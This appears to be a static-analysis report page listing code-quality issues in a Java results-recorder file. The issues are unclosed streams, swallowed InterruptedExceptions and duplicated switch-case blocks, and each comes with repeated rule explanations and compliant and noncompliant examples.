          Compliant Solution

          try (
              FileReader fr = new FileReader(fileName);
              BufferedReader br = new BufferedReader(fr)
            ) {
            return br.readLine();
          }
          catch (...) {}
          

          or

          try (BufferedReader br =
                  new BufferedReader(new FileReader(fileName))) { // no need to name intermediate resources if you don't want to
            return br.readLine();
          }
          catch (...) {}
          

          See

          • CERT, ERR54-J. - Use a try-with-resources statement to safely handle closeable resources

          Use try-with-resources or close this "Scanner" in a "finally" clause.
          Open

                      Scanner scanner = new Scanner(fileToCopy.read()).useDelimiter("\\A");

          Connections, streams, files, and other classes that implement the Closeable interface or its super-interface, AutoCloseable, needs to be closed after use. Further, that close call must be made in a finally block otherwise an exception could keep the call from being made. Preferably, when class implements AutoCloseable, resource should be created using "try-with-resources" pattern and will be closed automatically.

          Failure to properly close resources will result in a resource leak which could bring first the application and then perhaps the box the application is on to their knees.

          Noncompliant Code Example

          private void readTheFile() throws IOException {
            Path path = Paths.get(this.fileName);
            BufferedReader reader = Files.newBufferedReader(path, this.charset);
            // ...
            reader.close();  // Noncompliant
            // ...
            Files.lines("input.txt").forEach(System.out::println); // Noncompliant: The stream needs to be closed
          }
          
          private void doSomething() {
            OutputStream stream = null;
            try {
              for (String property : propertyList) {
                stream = new FileOutputStream("myfile.txt");  // Noncompliant
                // ...
              }
            } catch (Exception e) {
              // ...
            } finally {
              stream.close();  // Multiple streams were opened. Only the last is closed.
            }
          }
          

          Compliant Solution

          private void readTheFile(String fileName) throws IOException {
              Path path = Paths.get(fileName);
              try (BufferedReader reader = Files.newBufferedReader(path, StandardCharsets.UTF_8)) {
                reader.readLine();
                // ...
              }
              // ..
              try (Stream<String> input = Files.lines("input.txt"))  {
                input.forEach(System.out::println);
              }
          }
          
          private void doSomething() {
            OutputStream stream = null;
            try {
              stream = new FileOutputStream("myfile.txt");
              for (String property : propertyList) {
                // ...
              }
            } catch (Exception e) {
              // ...
            } finally {
              stream.close();
            }
          }
          

          Exceptions

          Instances of the following classes are ignored by this rule because close has no effect:

          • java.io.ByteArrayOutputStream
          • java.io.ByteArrayInputStream
          • java.io.CharArrayReader
          • java.io.CharArrayWriter
          • java.io.StringReader
          • java.io.StringWriter

          Java 7 introduced the try-with-resources statement, which implicitly closes Closeables. All resources opened in a try-with-resources statement are ignored by this rule.

          try (BufferedReader br = new BufferedReader(new FileReader(fileName))) {
            //...
          }
          catch ( ... ) {
            //...
          }
          

          See

          Either re-interrupt this method or rethrow the "InterruptedException" that can be caught here.
          Open

                                  } catch (IOException | InterruptedException e) {

          InterruptedExceptions should never be ignored in the code, and simply logging the exception counts in this case as "ignoring". The throwing of the InterruptedException clears the interrupted state of the Thread, so if the exception is not handled properly the fact that the thread was interrupted will be lost. Instead, InterruptedExceptions should either be rethrown - immediately or after cleaning up the method's state - or the thread should be re-interrupted by calling Thread.interrupt() even if this is supposed to be a single-threaded application. Any other course of action risks delaying thread shutdown and loses the information that the thread was interrupted - probably without finishing its task.

          Similarly, the ThreadDeath exception should also be propagated. According to its JavaDoc:

          If ThreadDeath is caught by a method, it is important that it be rethrown so that the thread actually dies.

          Noncompliant Code Example

          public void run () {
            try {
              while (true) {
                // do stuff
              }
            }catch (InterruptedException e) { // Noncompliant; logging is not enough
              LOGGER.log(Level.WARN, "Interrupted!", e);
            }
          }
          

          Compliant Solution

          public void run () {
            try {
              while (true) {
                // do stuff
              }
            }catch (InterruptedException e) {
              LOGGER.log(Level.WARN, "Interrupted!", e);
              // Restore interrupted state...
              Thread.currentThread().interrupt();
            }
          }
          

          See

          Use try-with-resources or close this "BufferedWriter" in a "finally" clause.
          Open

                  BufferedWriter writer = new BufferedWriter(new FileWriter(file));

          Connections, streams, files, and other classes that implement the Closeable interface or its super-interface, AutoCloseable, needs to be closed after use. Further, that close call must be made in a finally block otherwise an exception could keep the call from being made. Preferably, when class implements AutoCloseable, resource should be created using "try-with-resources" pattern and will be closed automatically.

          Failure to properly close resources will result in a resource leak which could bring first the application and then perhaps the box the application is on to their knees.

          Noncompliant Code Example

          private void readTheFile() throws IOException {
            Path path = Paths.get(this.fileName);
            BufferedReader reader = Files.newBufferedReader(path, this.charset);
            // ...
            reader.close();  // Noncompliant
            // ...
            Files.lines("input.txt").forEach(System.out::println); // Noncompliant: The stream needs to be closed
          }
          
          private void doSomething() {
            OutputStream stream = null;
            try {
              for (String property : propertyList) {
                stream = new FileOutputStream("myfile.txt");  // Noncompliant
                // ...
              }
            } catch (Exception e) {
              // ...
            } finally {
              stream.close();  // Multiple streams were opened. Only the last is closed.
            }
          }
          

          Compliant Solution

          private void readTheFile(String fileName) throws IOException {
              Path path = Paths.get(fileName);
              try (BufferedReader reader = Files.newBufferedReader(path, StandardCharsets.UTF_8)) {
                reader.readLine();
                // ...
              }
              // ..
              try (Stream<String> input = Files.lines("input.txt"))  {
                input.forEach(System.out::println);
              }
          }
          
          private void doSomething() {
            OutputStream stream = null;
            try {
              stream = new FileOutputStream("myfile.txt");
              for (String property : propertyList) {
                // ...
              }
            } catch (Exception e) {
              // ...
            } finally {
              stream.close();
            }
          }
          

          Exceptions

          Instances of the following classes are ignored by this rule because close has no effect:

          • java.io.ByteArrayOutputStream
          • java.io.ByteArrayInputStream
          • java.io.CharArrayReader
          • java.io.CharArrayWriter
          • java.io.StringReader
          • java.io.StringWriter

          Java 7 introduced the try-with-resources statement, which implicitly closes Closeables. All resources opened in a try-with-resources statement are ignored by this rule.

          try (BufferedReader br = new BufferedReader(new FileReader(fileName))) {
            //...
          }
          catch ( ... ) {
            //...
          }
          

          See

          Either re-interrupt this method or rethrow the "InterruptedException" that can be caught here.
          Open

                  } catch (Exception ex) {

          InterruptedExceptions should never be ignored in the code, and simply logging the exception counts in this case as "ignoring". The throwing of the InterruptedException clears the interrupted state of the Thread, so if the exception is not handled properly the fact that the thread was interrupted will be lost. Instead, InterruptedExceptions should either be rethrown - immediately or after cleaning up the method's state - or the thread should be re-interrupted by calling Thread.interrupt() even if this is supposed to be a single-threaded application. Any other course of action risks delaying thread shutdown and loses the information that the thread was interrupted - probably without finishing its task.

          Similarly, the ThreadDeath exception should also be propagated. According to its JavaDoc:

          If ThreadDeath is caught by a method, it is important that it be rethrown so that the thread actually dies.

          Noncompliant Code Example

          public void run () {
            try {
              while (true) {
                // do stuff
              }
            }catch (InterruptedException e) { // Noncompliant; logging is not enough
              LOGGER.log(Level.WARN, "Interrupted!", e);
            }
          }
          

          Compliant Solution

          public void run () {
            try {
              while (true) {
                // do stuff
              }
            }catch (InterruptedException e) {
              LOGGER.log(Level.WARN, "Interrupted!", e);
              // Restore interrupted state...
              Thread.currentThread().interrupt();
            }
          }
          

          See

          Either re-interrupt this method or rethrow the "InterruptedException" that can be caught here.
          Open

                          } catch (Exception e){

          InterruptedExceptions should never be ignored in the code, and simply logging the exception counts in this case as "ignoring". The throwing of the InterruptedException clears the interrupted state of the Thread, so if the exception is not handled properly the fact that the thread was interrupted will be lost. Instead, InterruptedExceptions should either be rethrown - immediately or after cleaning up the method's state - or the thread should be re-interrupted by calling Thread.interrupt() even if this is supposed to be a single-threaded application. Any other course of action risks delaying thread shutdown and loses the information that the thread was interrupted - probably without finishing its task.

          Similarly, the ThreadDeath exception should also be propagated. According to its JavaDoc:

          If ThreadDeath is caught by a method, it is important that it be rethrown so that the thread actually dies.

          Noncompliant Code Example

          public void run () {
            try {
              while (true) {
                // do stuff
              }
            }catch (InterruptedException e) { // Noncompliant; logging is not enough
              LOGGER.log(Level.WARN, "Interrupted!", e);
            }
          }
          

          Compliant Solution

          public void run () {
            try {
              while (true) {
                // do stuff
              }
            }catch (InterruptedException e) {
              LOGGER.log(Level.WARN, "Interrupted!", e);
              // Restore interrupted state...
              Thread.currentThread().interrupt();
            }
          }
          

          See

          Either re-interrupt this method or rethrow the "InterruptedException" that can be caught here.
          Open

                  } catch (IOException | InterruptedException ex) {

          InterruptedExceptions should never be ignored in the code, and simply logging the exception counts in this case as "ignoring". The throwing of the InterruptedException clears the interrupted state of the Thread, so if the exception is not handled properly the fact that the thread was interrupted will be lost. Instead, InterruptedExceptions should either be rethrown - immediately or after cleaning up the method's state - or the thread should be re-interrupted by calling Thread.interrupt() even if this is supposed to be a single-threaded application. Any other course of action risks delaying thread shutdown and loses the information that the thread was interrupted - probably without finishing its task.

          Similarly, the ThreadDeath exception should also be propagated. According to its JavaDoc:

          If ThreadDeath is caught by a method, it is important that it be rethrown so that the thread actually dies.

          Noncompliant Code Example

          public void run () {
            try {
              while (true) {
                // do stuff
              }
            }catch (InterruptedException e) { // Noncompliant; logging is not enough
              LOGGER.log(Level.WARN, "Interrupted!", e);
            }
          }
          

          Compliant Solution

          public void run () {
            try {
              while (true) {
                // do stuff
              }
            }catch (InterruptedException e) {
              LOGGER.log(Level.WARN, "Interrupted!", e);
              // Restore interrupted state...
              Thread.currentThread().interrupt();
            }
          }
          

          See

          Either re-interrupt this method or rethrow the "InterruptedException" that can be caught here.
          Open

                  } catch(Exception e) {

          InterruptedExceptions should never be ignored in the code, and simply logging the exception counts in this case as "ignoring". The throwing of the InterruptedException clears the interrupted state of the Thread, so if the exception is not handled properly the fact that the thread was interrupted will be lost. Instead, InterruptedExceptions should either be rethrown - immediately or after cleaning up the method's state - or the thread should be re-interrupted by calling Thread.interrupt() even if this is supposed to be a single-threaded application. Any other course of action risks delaying thread shutdown and loses the information that the thread was interrupted - probably without finishing its task.

          Similarly, the ThreadDeath exception should also be propagated. According to its JavaDoc:

          If ThreadDeath is caught by a method, it is important that it be rethrown so that the thread actually dies.

          Noncompliant Code Example

          public void run () {
            try {
              while (true) {
                // do stuff
              }
            }catch (InterruptedException e) { // Noncompliant; logging is not enough
              LOGGER.log(Level.WARN, "Interrupted!", e);
            }
          }
          

          Compliant Solution

          public void run () {
            try {
              while (true) {
                // do stuff
              }
            }catch (InterruptedException e) {
              LOGGER.log(Level.WARN, "Interrupted!", e);
              // Restore interrupted state...
              Thread.currentThread().interrupt();
            }
          }
          

          See

          Use try-with-resources or close this "BufferedWriter" in a "finally" clause.
          Open

                      writer = new BufferedWriter(new FileWriter(indexFile));

          Connections, streams, files, and other classes that implement the Closeable interface or its super-interface, AutoCloseable, needs to be closed after use. Further, that close call must be made in a finally block otherwise an exception could keep the call from being made. Preferably, when class implements AutoCloseable, resource should be created using "try-with-resources" pattern and will be closed automatically.

          Failure to properly close resources will result in a resource leak which could bring first the application and then perhaps the box the application is on to their knees.

          Noncompliant Code Example

          private void readTheFile() throws IOException {
            Path path = Paths.get(this.fileName);
            BufferedReader reader = Files.newBufferedReader(path, this.charset);
            // ...
            reader.close();  // Noncompliant
            // ...
            Files.lines("input.txt").forEach(System.out::println); // Noncompliant: The stream needs to be closed
          }
          
          private void doSomething() {
            OutputStream stream = null;
            try {
              for (String property : propertyList) {
                stream = new FileOutputStream("myfile.txt");  // Noncompliant
                // ...
              }
            } catch (Exception e) {
              // ...
            } finally {
              stream.close();  // Multiple streams were opened. Only the last is closed.
            }
          }
          

          Compliant Solution

          private void readTheFile(String fileName) throws IOException {
              Path path = Paths.get(fileName);
              try (BufferedReader reader = Files.newBufferedReader(path, StandardCharsets.UTF_8)) {
                reader.readLine();
                // ...
              }
              // ..
              try (Stream<String> input = Files.lines("input.txt"))  {
                input.forEach(System.out::println);
              }
          }
          
          private void doSomething() {
            OutputStream stream = null;
            try {
              stream = new FileOutputStream("myfile.txt");
              for (String property : propertyList) {
                // ...
              }
            } catch (Exception e) {
              // ...
            } finally {
              stream.close();
            }
          }
          

          Exceptions

          Instances of the following classes are ignored by this rule because close has no effect:

          • java.io.ByteArrayOutputStream
          • java.io.ByteArrayInputStream
          • java.io.CharArrayReader
          • java.io.CharArrayWriter
          • java.io.StringReader
          • java.io.StringWriter

          Java 7 introduced the try-with-resources statement, which implicitly closes Closeables. All resources opened in a try-with-resources statement are ignored by this rule.

          try (BufferedReader br = new BufferedReader(new FileReader(fileName))) {
            //...
          }
          catch ( ... ) {
            //...
          }
          

          See

          Identical blocks of code found in 4 locations. Consider refactoring.
          Open

                      case TotalHits:
                          WholeRunResult totalHits = new WholeRunResult();
                          totalHits.setSlaGoal(LrTest.SLA_GOAL.TotalHits);
                          totalHits.setActualValue(Double.valueOf(slaRuleElement.getAttribute(SLA_ACTUAL_VALUE_LABEL)));
                          totalHits.setGoalValue(Double.valueOf(slaRuleElement.getAttribute(SLA_GOAL_VALUE_LABEL)));
          src/main/java/com/microfocus/application/automation/tools/results/RunResultRecorder.java on lines 1356..1365
          src/main/java/com/microfocus/application/automation/tools/results/RunResultRecorder.java on lines 1366..1376
          src/main/java/com/microfocus/application/automation/tools/results/RunResultRecorder.java on lines 1377..1387

          Duplicated Code

          Duplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:

          Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.

          When you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).

          Tuning

          This issue has a mass of 100.

          We set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.

          The threshold configuration represents the minimum mass a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.

          If the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.

          See codeclimate-duplication's documentation for more information about tuning the mass threshold in your .codeclimate.yml.

          Refactorings

          Further Reading

          Identical blocks of code found in 4 locations. Consider refactoring.
          Open

                      case AverageThroughput:
                          WholeRunResult averageThroughput = new WholeRunResult();
                          averageThroughput.setSlaGoal(LrTest.SLA_GOAL.AverageThroughput);
                          averageThroughput.setActualValue(Double.valueOf(slaRuleElement.getAttribute(SLA_ACTUAL_VALUE_LABEL)));
                          averageThroughput.setGoalValue(Double.valueOf(slaRuleElement.getAttribute(SLA_GOAL_VALUE_LABEL)));
          src/main/java/com/microfocus/application/automation/tools/results/RunResultRecorder.java on lines 1366..1376
          src/main/java/com/microfocus/application/automation/tools/results/RunResultRecorder.java on lines 1377..1387
          src/main/java/com/microfocus/application/automation/tools/results/RunResultRecorder.java on lines 1388..1397

          Duplicated Code

          Duplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:

          Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.

          When you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).

          Tuning

          This issue has a mass of 100.

          We set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.

          The threshold configuration represents the minimum mass a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.

          If the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.

          See codeclimate-duplication's documentation for more information about tuning the mass threshold in your .codeclimate.yml.

          Refactorings

          Further Reading

          Identical blocks of code found in 4 locations. Consider refactoring.
          Open

                      case TotalThroughput:
                          WholeRunResult totalThroughput = new WholeRunResult();
                          totalThroughput.setSlaGoal(LrTest.SLA_GOAL.TotalThroughput);
                          totalThroughput.setActualValue(Double.valueOf(slaRuleElement.getAttribute(SLA_ACTUAL_VALUE_LABEL)));
                          totalThroughput.setGoalValue(Double.valueOf(slaRuleElement.getAttribute(SLA_GOAL_VALUE_LABEL)));
          src/main/java/com/microfocus/application/automation/tools/results/RunResultRecorder.java on lines 1356..1365
          src/main/java/com/microfocus/application/automation/tools/results/RunResultRecorder.java on lines 1377..1387
          src/main/java/com/microfocus/application/automation/tools/results/RunResultRecorder.java on lines 1388..1397

          Duplicated Code

          Duplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:

          Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.

          When you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).

          Tuning

          This issue has a mass of 100.

          We set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.

          The threshold configuration represents the minimum mass a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.

          If the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.

          See codeclimate-duplication's documentation for more information about tuning the mass threshold in your .codeclimate.yml.

          Refactorings

          Further Reading

          Identical blocks of code found in 4 locations. Consider refactoring.
          Open

                      case AverageHitsPerSecond:
                          WholeRunResult averageHitsPerSecond = new WholeRunResult();
                          averageHitsPerSecond.setSlaGoal(LrTest.SLA_GOAL.AverageHitsPerSecond);
                          averageHitsPerSecond.setActualValue(Double.valueOf(slaRuleElement.getAttribute(SLA_ACTUAL_VALUE_LABEL)));
                          averageHitsPerSecond.setGoalValue(Double.valueOf(slaRuleElement.getAttribute(SLA_GOAL_VALUE_LABEL)));
          src/main/java/com/microfocus/application/automation/tools/results/RunResultRecorder.java on lines 1356..1365
          src/main/java/com/microfocus/application/automation/tools/results/RunResultRecorder.java on lines 1366..1376
          src/main/java/com/microfocus/application/automation/tools/results/RunResultRecorder.java on lines 1388..1397

          Duplicated Code

          Duplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:

          Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.

          When you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).

          Tuning

          This issue has a mass of 100.

          We set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.

          The threshold configuration represents the minimum mass a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.

          If the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.

          See codeclimate-duplication's documentation for more information about tuning the mass threshold in your .codeclimate.yml.

          Refactorings

          Further Reading

          Identical blocks of code found in 2 locations. Consider refactoring.
          Open

                  for (int atrrIndx = 0; atrrIndx < atrrCount; atrrIndx++) {
                      Node vUserAttr = transactions.getAttributes().item(atrrIndx);
                      jobLrScenarioResult.transactionSum.put(vUserAttr.getNodeName(), Integer.valueOf(vUserAttr.getNodeValue()));
                  }
          src/main/java/com/microfocus/application/automation/tools/results/RunResultRecorder.java on lines 1324..1327

          Duplicated Code

          Duplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:

          Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.

          When you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).

          Tuning

          This issue has a mass of 54.

          We set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.

          The threshold configuration represents the minimum mass a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.

          If the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.

          See codeclimate-duplication's documentation for more information about tuning the mass threshold in your .codeclimate.yml.

          Refactorings

          Further Reading

          Identical blocks of code found in 2 locations. Consider refactoring.
          Open

                  for (int atrrIndx = 0; atrrIndx < atrrCount; atrrIndx++) {
                      Node vUserAttr = vUser.getAttributes().item(atrrIndx);
                      jobLrScenarioResult.vUserSum.put(vUserAttr.getNodeName(), Integer.valueOf(vUserAttr.getNodeValue()));
                  }
          src/main/java/com/microfocus/application/automation/tools/results/RunResultRecorder.java on lines 1301..1304

          Duplicated Code

          Duplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:

          Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.

          When you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).

          Tuning

          This issue has a mass of 54.

          We set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.

          The threshold configuration represents the minimum mass a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.

          If the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.

          See codeclimate-duplication's documentation for more information about tuning the mass threshold in your .codeclimate.yml.

          Refactorings

          Further Reading

          There are no issues that match your filters.

          Category
          Status